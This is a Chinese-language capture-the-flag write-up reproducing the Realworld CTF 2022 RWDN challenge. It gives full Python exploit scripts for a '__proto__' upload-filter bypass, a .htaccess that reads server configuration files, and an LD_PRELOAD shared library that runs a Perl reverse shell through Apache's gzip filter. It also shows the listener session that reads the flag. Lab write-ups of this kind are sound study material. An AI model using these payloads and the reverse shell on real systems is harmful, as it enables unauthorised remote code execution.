【技術分享】Realworld CTF 2022 - RWDN 復現解析
前情提要
RWDN dockerfile 這份 dockerfile 是從 出題人 手中拿到的 和現實的題目 稍微有點有差距的地方
使用 sudo docker compose up 等待鏡像制作完成就會自動啟動了
題目會部署在 127.0.0.1 31337 和 31338 兩個端口 和正式比賽的情況 沒有區別
拿到題目
source 審計
先查看 HTML 源碼 很快就能看到注釋中寫的
<body>
很顯然是提示我們去訪問 /source 目錄
curl 看一下 是 js 源碼 這里順手存到 source 文件里
注意: 源文件無注釋 我這里為了提示也是為了分析題目 所以這里部分需要注意的地方 我添加了注釋
$ curl 127.0.0.1:31337/source | tee code.jsconst express = require('express');const fileUpload = require('express-fileupload');const md5 = require('md5');const { v4: uuidv4 } = require('uuid');const check = require('./check'); // 這里引入了 check 不知道是什么 但是是自定義的const app = express();
const PORT = 8000;
app.set('views', __dirname + '/views');app.set('view engine', 'ejs');
app.use(fileUpload({ useTempFiles : true, tempFileDir : '/tmp/', createParentPath : true}));
app.use('/upload',check()); // 這里調用了 check 應該是 在 ./check 的一個函數
// 看到 這里用到了下面用到了 獲取源碼的方法app.get('/source', function(req, res) { if (req.query.checkin){ // 讓 checkin == 1 res.sendfile('/src/check.js'); // 這里我們可以猜測之前 check 的意思 應該就是這個文件 // 因此接下來我們要請求拿一下 check.js 但是不急 我們接著看 } res.sendfile('/src/server.js'); // 就是我們當前的文件});
// 我們的根目錄 生成了一個 formidapp.get('/', function(req, res) { var formid = "form-" + uuidv4(); res.render('index', {formid : formid} );});
// 這里是上傳點 一般這里大家都會警覺app.post('/upload', function(req, res) { let sampleFile; let uploadPath; let userdir; let userfile; // 樣本文件 獲取 用的是 req.query.formid 注意可以是數字 不一定是 字符串 sampleFile = req.files[req.query.formid]; // 這里處理 文件 hash 用的 md5 分別計算了 文件 hash 和 上傳者的地址 // node 會獲取 ::ffff:{ipv4} 作為你的 ip 地址 userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5); userfile = sampleFile.name.toString(); // 文件名就是 name 字段 不是 filename 字段 正常情況是 你的 formid
if(userfile.includes('/')||userfile.includes('..')){ return res.status(500).send("Invalid file name"); } // 上傳到的地址 注意這里是絕對地址 uploadPath = '/uploads/' + userdir + '/' + userfile; sampleFile.mv(uploadPath, function(err) { if (err) { return res.status(500).send(err); } // 這里提到了第二個端口 // 這里也說明了 上傳的文件你可以在這個地址訪問到 // 文件上傳 getshell 基本都要用到 這個地址訪問 然后讓服務器執行 res.send('File uploaded to http://47.243.75.225:31338/' + userdir + '/' + userfile); });});
app.listen(PORT, function() { console.log('Express server listening on port ', PORT);});
check 審計
接下來 看看我們的 check.js
$ curl 127.0.0.1:31337/source?checkin=1 | tee check.jsmodule.exports = () => { return (req, res, next) => { if ( !req.query.formid || !req.files || Object.keys(req.files).length === 0) { // 確認你有上傳 res.status(400).send('Something error.'); return; } // 對每個文件的 key 進行檢查 (其實這里有個例外 __proto__ 是個例外) Object.keys(req.files).forEach(function(key){ var filename = req.files[key].name.toLowerCase(); var position = filename.lastIndexOf('.'); if (position == -1) { return next(); } // 如果沒有 . 就下一個文件 這里其實也有個 bypass 點位 也就是上傳兩個文件 用第一個 無后綴的安全文件 bypass var ext = filename.substr(position); var allowexts = ['.jpg','.png','.jpeg','.html','.js','.xhtml','.txt','.realworld']; if ( !allowexts.includes(ext) ){ // 確認安全文件名后綴 res.status(400).send('Something error.'); return; } return next(); // 所有檢查完畢后 就 返回下一個文件 }); }; };
看一眼 31338 端口
這里可以看一眼 31338 端口 然后 curl 一下
$ curl 127.0.0.1:31338 -v* Trying 127.0.0.1:31338...* Connected to 127.0.0.1 (127.0.0.1) port 31338 (#0)> GET / HTTP/1.1> Host: 127.0.0.1:31338> User-Agent: curl/7.81.0> Accept: */*> * Mark bundle as not supporting multiuse< HTTP/1.1 200 OK< Date: Thu, 27 Jan 2022 15:48:27 GMT< Server: Apache/2.4.29 (Ubuntu)< Last-Modified: Thu, 20 Jan 2022 09:18:15 GMT< ETag: "31-5d5fffb6aa3c0"< Accept-Ranges: bytes< Content-Length: 49< Content-Type: text/html< * Connection #0 to host 127.0.0.1 left intactWelcome to my CDN! Execute /readflag to get flag.
這里就是個 普通 apache 而上面的兩個 則是 Express
思路和利用
既然上傳這里 有問題 那么就試試上傳 看看能不能弄到點什么
很顯然 getshell 的任何 php pl 腳本代碼都是不能成功利用的 就是個 簡簡單單的 純純的 Apache 服務器
第一部分
既然是 apache 目標, 自然 .htaccess apache.conf 這種配置文件 很顯然就變成了我們的目標
你或許以為直接 cgi script 進行一把梭就完事了 很顯然 這里服務器 默認是沒有開啟的 (因為他是 docker 而且幾乎是默認的 apache )
既然是 Apache 那么翻翻 apache 文檔
ErrorDocument
知識點 1 ErrorDocument 錯誤文檔 可以看到 context 運行上下文的中存在 .htaccess
可以這樣利用
ErrorDocument 404 %{file:/etc/apache2/apache2.conf}
保存為 .htaccess 然后傳上去
無用的知識點 ErrorLog 也能執行命令 但是很顯然 上下文環境阻止了你 這里其實可以拿來出題 哈哈哈
同樣
- customlog
- globallog
- forensiclog
- transferlog
都具有 pipe 形式
濫用 htaccess 以及其中一些模塊的方法 https://github.com/wireghoul/htshells
額外找到了一些 相關的利用方法
SetEnv LD_PERLOAD
https://www.freebuf.com/articles/web/192052.html
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
上傳文件
這里直接貼代碼
import requestsimport hashlib
target_ip = "127.0.0.1"target_render_port = 31338target_upload_port = 31337
upload_file = ".htaccess"normal_file = "a.txt"
request_sender_ip = "172.18.0.1" request_ip = "::ffff:{}".format(request_sender_ip)
# 這里是為了好看 跟蹤一下請求def print_request(response): print("request form") print("=========================================================") print(response.request.method, response.request.url) for header_key in response.request.headers.keys(): print("{}: {}".format(header_key, response.request.headers[header_key])) body = response.request.body if body == None: print("") else: print( body.decode()) print("=========================================================")
def print_response(response): print("response form") print("=========================================================") print(response.status_code, response.url) for header_key in response.headers.keys(): print("{}: {}".format(header_key, response.headers[header_key])) print("") print(response.text) print("=========================================================")
def md5(string): return hashlib.md5(string.encode()).hexdigest()
# 計算上傳點def calc_upload_path(upload_file, form_id ): # form_id 是無用的 無所謂傳什么 """ # 對應的 js 代碼 userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5); userfile = sampleFile.name.toString(); if(userfile.includes('/')||userfile.includes('..')){ return res.status(500).send("Invalid file name"); } uploadPath = '/uploads/' + userdir + '/' + userfile; """ file_md5 = hashlib.md5(open(upload_file,'rb').read()).hexdigest() userdir = md5(md5(request_ip)+file_md5) userfile = form_id # 這里其實無用 # upload_path = '/uploads/' + userdir + '/' + userfile # the realworld ctf Env upload_path = '/' + userdir + '/' return upload_path
def main():
## STEP 1 get formid if you need uplaod_url1 = "http://{}:{}/".format(target_ip, target_upload_port) r = requests.get(uplaod_url1) form_id = r.text.split("action='")[1].split("'")[0] real_form_id = form_id.split('/upload?formid=')[1] print("you should use this id: ",real_form_id)
## STEP 2 upload error file # 方法 1 多文件上傳繞過 """ # real_form_id = upload_file upload_url2 = "http://{}:{}/upload?formid={}".format(target_ip,target_upload_port,real_form_id) upload_file_id = real_form_id files = { real_form_id : open(normal_file,'r'), real_form_id : open(upload_file,'r'), } # need uplaod 2 same name file as bad request # 可以這么發包 塞入兩個文件 但是很顯然 這里前一個文件會被后一個文件蓋掉 # 倒是強行可以通過 自己定義寫多部分 來進行上傳 但是代碼復用度不好 # 所以你會發現 你最后只上傳了一個文件 """ # 方法 2 proto 大魔法 upload_url2 = "http://{}:{}/upload?formid={}".format(target_ip,target_upload_port,"1") files = { "__proto__": open(upload_file,"r"), "decoy":("decoy","random"), } """ 原理參照一個小哥 在 discord 中發的內容: 如下 the __proto__ file is not checked because Object.keys does not include properties from the prototype, but since the prototype is now an array we can use formid=1 to access that file again in the upload function """ r2 = requests.post(upload_url2,files=files) print_request(r2) print_response(r2)
## STEP 3 get the response access_path = "http://{}:{}".format(target_ip,target_render_port) + \ calc_upload_path(upload_file,real_form_id) + "NonExistFile" # 強行 在這個目錄下 404 r3 = requests.get(access_path) print_request(r3) print_response(r3) ## 如果這里你的 .htaccess 文件 成功上傳了 就會在這里 拿到 你 .htaccess 文件 ErrorDocument 指向的文件
if __name__ == '__main__': main()
第二部分
apache2.conf審計
文件很長 可以直接拉到最后 看
# This is the main Apache server configuration file. It contains the# configuration directives that give the server its instructions.# See http://httpd.apache.org/docs/2.4/ for detailed information about# the directives and /usr/share/doc/apache2/README.Debian about Debian specific# hints.### Summary of how the Apache 2 configuration works in Debian:# The Apache 2 web server configuration in Debian is quite different to# upstream's suggested way to configure the web server. This is because Debian's# default Apache2 installation attempts to make adding and removing modules,# virtual hosts, and extra configuration directives as flexible as possible, in# order to make automating the changes and administering the server as easy as# possible.
# It is split into several files forming the configuration hierarchy outlined# below, all located in the /etc/apache2/ directory:## /etc/apache2/# |-- apache2.conf# | `-- ports.conf# |-- mods-enabled# | |-- *.load# | `-- *.conf# |-- conf-enabled# | `-- *.conf# `-- sites-enabled# `-- *.conf### * apache2.conf is the main configuration file (this file). It puts the pieces# together by including all remaining configuration files when starting up the# web server.## * ports.conf is always included from the main configuration file. It is# supposed to determine listening ports for incoming connections which can be# customized anytime.## * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/# directories contain particular configuration snippets which manage modules,# global configuration fragments, or virtual host configurations,# respectively.## They are activated by symlinking available configuration files from their# respective *-available/ counterparts. These should be managed by using our# helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See# their respective man pages for detailed information.## * The binary is called apache2. Due to the use of environment variables, in# the default configuration, apache2 needs to be started/stopped with# /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not# work with the default configuration.
# Global configuration#
## ServerRoot: The top of the directory tree under which the server's# configuration, error, and log files are kept.## NOTE! If you intend to place this on an NFS (or otherwise network)# mounted filesystem then please read the Mutex documentation (available# at );# you will save yourself a lot of trouble.## Do NOT add a slash at the end of the directory path.##ServerRoot "/etc/apache2"
## The accept serialization lock file MUST BE STORED ON A LOCAL DISK.##Mutex file:${APACHE_LOCK_DIR} default
## The directory where shm and other runtime files will be stored.#
DefaultRuntimeDir ${APACHE_RUN_DIR}
## PidFile: The file in which the server should record its process# identification number when it starts.# This needs to be set in /etc/apache2/envvars#PidFile ${APACHE_PID_FILE}
## Timeout: The number of seconds before receives and sends time out.#Timeout 300
## KeepAlive: Whether or not to allow persistent connections (more than# one request per connection). Set to "Off" to deactivate.#KeepAlive On
## MaxKeepAliveRequests: The maximum number of requests to allow# during a persistent connection. Set to 0 to allow an unlimited amount.# We recommend you leave this number high, for maximum performance.#MaxKeepAliveRequests 100
## KeepAliveTimeout: Number of seconds to wait for the next request from the# same client on the same connection.#KeepAliveTimeout 5
# These need to be set in /etc/apache2/envvarsUser ${APACHE_RUN_USER}Group ${APACHE_RUN_GROUP}
## HostnameLookups: Log the names of clients or just their IP addresses# e.g., www.apache.org (on) or 204.62.129.132 (off).# The default is off because it'd be overall better for the net if people# had to knowingly turn this feature on, since enabling it means that# each client request will result in AT LEAST one lookup request to the# nameserver.#HostnameLookups Off
# ErrorLog: The location of the error log file.# If you do not specify an ErrorLog directive within a # container, error messages relating to that virtual host will be# logged here. If you *do* define an error logfile for a # container, that host's errors will be logged there and not here.#ErrorLog ${APACHE_LOG_DIR}/error.log # 這種地方是改寫不了變量的 或許需要一些我沒發現的魔法
## LogLevel: Control the severity of messages logged to the error_log.# Available values: trace8, ..., trace1, debug, info, notice, warn,# error, crit, alert, emerg.# It is also possible to configure the log level for particular modules, e.g.# "LogLevel info ssl:warn"#LogLevel warn
# Include module configuration:IncludeOptional mods-enabled/*.loadIncludeOptional mods-enabled/*.conf
# Include list of ports to listen onInclude ports.conf
# Sets the default security model of the Apache2 HTTPD server. It does# not allow access to the root filesystem outside of /usr/share and /var/www.# The former is used by web applications packaged in Debian,# the latter may be used for local directories served by the web server. If# your system is serving content from a sub-directory in /srv you must allow# access here, or in any related virtual host. /> Options FollowSymLinks AllowOverride ALL Require all denied
/usr/share> AllowOverride ALL Require all granted
/var/www/> Options Indexes FollowSymLinks AllowOverride ALL Require all granted
## Options Indexes FollowSymLinks# AllowOverride None# Require all granted#
# AccessFileName: The name of the file to look for in each directory# for additional configuration directives. See also the AllowOverride# directive.#AccessFileName .htaccess
## The following lines prevent .htaccess and .htpasswd files from being# viewed by Web clients.# "^\.ht"> Require all denied
## The following directives define some format nicknames for use with# a CustomLog directive.## These deviate from the Common Log Format definitions in that they use %O# (the actual bytes sent including headers) instead of %b (the size of the# requested file), because the latter makes it impossible to detect partial# requests.## Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.# Use mod_remoteip instead.#LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combinedLogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combinedLogFormat "%h %l %u %t \"%r\" %>s %O" commonLogFormat "%{Referer}i -> %U" refererLogFormat "%{User-agent}i" agent
# Include of directories ignores editors' and dpkg's backup files,# see README.Debian for details.ExtFilterDefine gzip mode=output cmd=/bin/gzip # 這個比較有東西哦 可以看到有命令執行了那么套用類似 PHP Mail bypass disable func 的思路進行利用
# Include generic snippets of statementsIncludeOptional conf-enabled/*.conf
# Include the virtual host configurations:IncludeOptional sites-enabled/*.conf
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
htaccess 濫用 掛載 LD_PERLOAD
// save as perload.c// 編譯 gcc perload.c -fPIC -shared -o 1.so #define _GNU_SOURCE
#include #include #include
extern char** environ;
__attribute__ ((__constructor__)) void preload (void) // 構建 預執行屬性{
const char* cmdline = "perl -e 'use Socket;$i=\"172.18.0.1\";$p=8884;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"bash -i\");};'";
// const char* cmdline = "perl /tmp/r3.pl > /tmp/r3pwn"
int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } } system(cmdline);}
接下來上 python 利用
import requestsimport hashlib
target_ip = "127.0.0.1"target_upload_port = 31337upload_file = ".htaccess"target_render_port = 31338request_sender_ip = "172.18.0.1"request_ip = "::ffff:{}".format(request_sender_ip)
# 還是 為了好看def print_request(response): print("request form") print("=========================================================") print(response.request.method, response.request.url) for header_key in response.request.headers.keys(): print("{}: {}".format(header_key, response.request.headers[header_key])) body = response.request.body if body == None: print("") else: print( body ) print("=========================================================")
def print_response(response): print("response form") print("=========================================================") print(response.status_code, response.url) for header_key in response.headers.keys(): print("{}: {}".format(header_key, response.headers[header_key])) print("") print(response.text) print("=========================================================")
def md5(string): return hashlib.md5(string.encode()).hexdigest()
# 計算上傳路徑def calc_upload_path(upload_file, form_id ): """ userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5); userfile = sampleFile.name.toString(); if(userfile.includes('/')||userfile.includes('..')){ return res.status(500).send("Invalid file name"); } uploadPath = '/uploads/' + userdir + '/' + userfile; """ file_md5 = hashlib.md5(open(upload_file,'rb').read()).hexdigest() userdir = md5(md5(request_ip)+file_md5) userfile = form_id # upload_path = '/uploads/' + userdir + '/' + userfile # the realworld ctf Env upload_path = '/' + userdir + '/'
return upload_path
def main(): ## STEP 4 upload error # 上傳 1.so sofile_path = uplaod_file("1.so")
code = """SetEnv LD_PRELOAD "/var/www/html{}1.so"SetOutputFilter gzipErrorDocument 403 /etc/apache2/apache2.conf""".format(sofile_path) # 啟用 gzip 過濾器 執行命令 # 生成 htaccess htaccess_file_gen(code) # 輸出 這里為了 debug print("sofile_path: ",sofile_path) # 上傳 htaccess htaccess_path = uplaod_file(".htaccess") print("htaccess_path: ",htaccess_path)
print("getshell exec with curl http://{}:{}".format(target_ip,target_render_port)+htaccess_path)
# 生成代碼def htaccess_file_gen(code): with open(".htaccess","w") as f: f.write(code) print("gen successfully")
# 上傳文件 利用方法是上面 提到的def uplaod_file(filename): uplaod_url1 = "http://{}:{}/".format(target_ip, target_upload_port) r = requests.get(uplaod_url1) form_id = r.text.split("action='")[1].split("'")[0] real_form_id = form_id.split('/upload?formid=')[1] print("you should use this id: ",real_form_id)
upload_url2 = "http://{}:{}/upload?formid={}".format(target_ip,target_upload_port,"1") files = { "__proto__": open(filename,"rb"), "decoy":("decoy","random"), } r2 = requests.post(upload_url2,files=files) print_request(r2) print_response(r2)
form_id = real_form_id return calc_upload_path(filename,form_id)
if __name__ == '__main__': main()
最后運行結果的 拿到 .htaccess 文件對應的地址 一個 curl 打過去就有了
當然記得起 netcat 的監聽
最后Getshell readflag
直接執行一個 readflag 的計算
└─$ nc -lvvp 8884 listening on [any] 8884 ...172.18.0.3: inverse host lookup failed: Unknown hostconnect to [172.18.0.1] from (UNKNOWN) [172.18.0.3] 54924bash: cannot set terminal process group (31): Inappropriate ioctl for devicebash: no job control in this shellwww-data@a17ac98d17ba:/$ ls -alls -altotal 100drwxr-xr-x 1 root root 4096 Jan 27 07:28 .drwxr-xr-x 1 root root 4096 Jan 27 07:28 ..-rwxr-xr-x 1 root root 0 Jan 27 07:28 .dockerenvdrwxr-xr-x 2 root root 4096 Jan 5 19:29 bindrwxr-xr-x 2 root root 4096 Apr 24 2018 bootdrwxr-xr-x 5 root root 340 Jan 27 07:28 devdrwxr-xr-x 1 root root 4096 Jan 27 07:28 etc-r-x------ 1 root root 39 Jan 20 09:19 flagdrwxr-xr-x 2 root root 4096 Apr 24 2018 homedrwxr-xr-x 1 root root 4096 May 23 2017 libdrwxr-xr-x 2 root root 4096 Jan 5 19:29 lib64drwxr-xr-x 2 root root 4096 Jan 5 19:27 mediadrwxr-xr-x 2 root root 4096 Jan 5 19:27 mntdrwxr-xr-x 2 root root 4096 Jan 5 19:27 optdr-xr-xr-x 334 root root 0 Jan 27 07:28 proc-r-sr-xr-x 1 root root 13144 Jan 20 09:16 readflagdrwx------ 1 root root 4096 Jan 27 07:44 rootdrwxr-xr-x 1 root root 4096 Jan 27 07:28 rundrwxr-xr-x 2 root root 4096 Jan 5 19:29 sbindrwxr-xr-x 2 root root 4096 Jan 5 19:27 srvdr-xr-xr-x 13 root root 0 Jan 27 07:28 sysdrwxrwxrwt 1 root root 4096 Jan 27 07:28 tmpdrwxr-xr-x 1 root root 4096 Jan 5 19:27 usrdrwxr-xr-x 1 root root 4096 Jan 27 07:28 varwww-data@a17ac98d17ba:/$ readflagreadflagbash: readflag: command not foundwww-data@a17ac98d17ba:/$ ./readflag./readflagSolve the easy challenge first(((((-854089)-(772258))+(5324))+(474988))-(-472881))input your answer: -673154ok! here is your flag!!rwctf{cd81450983c06bcb4438dfb8de45ec04}www-data@a17ac98d17ba:/$
Wrap up
總體思路與知識點
1.代碼審計
2.proto 利用 | 發現雙文件上傳 bypass
3.利用 htaccess 越界讀 獲取 一些敏感配置文件
4.利用 htaccess 和 一些錯誤配置 RCE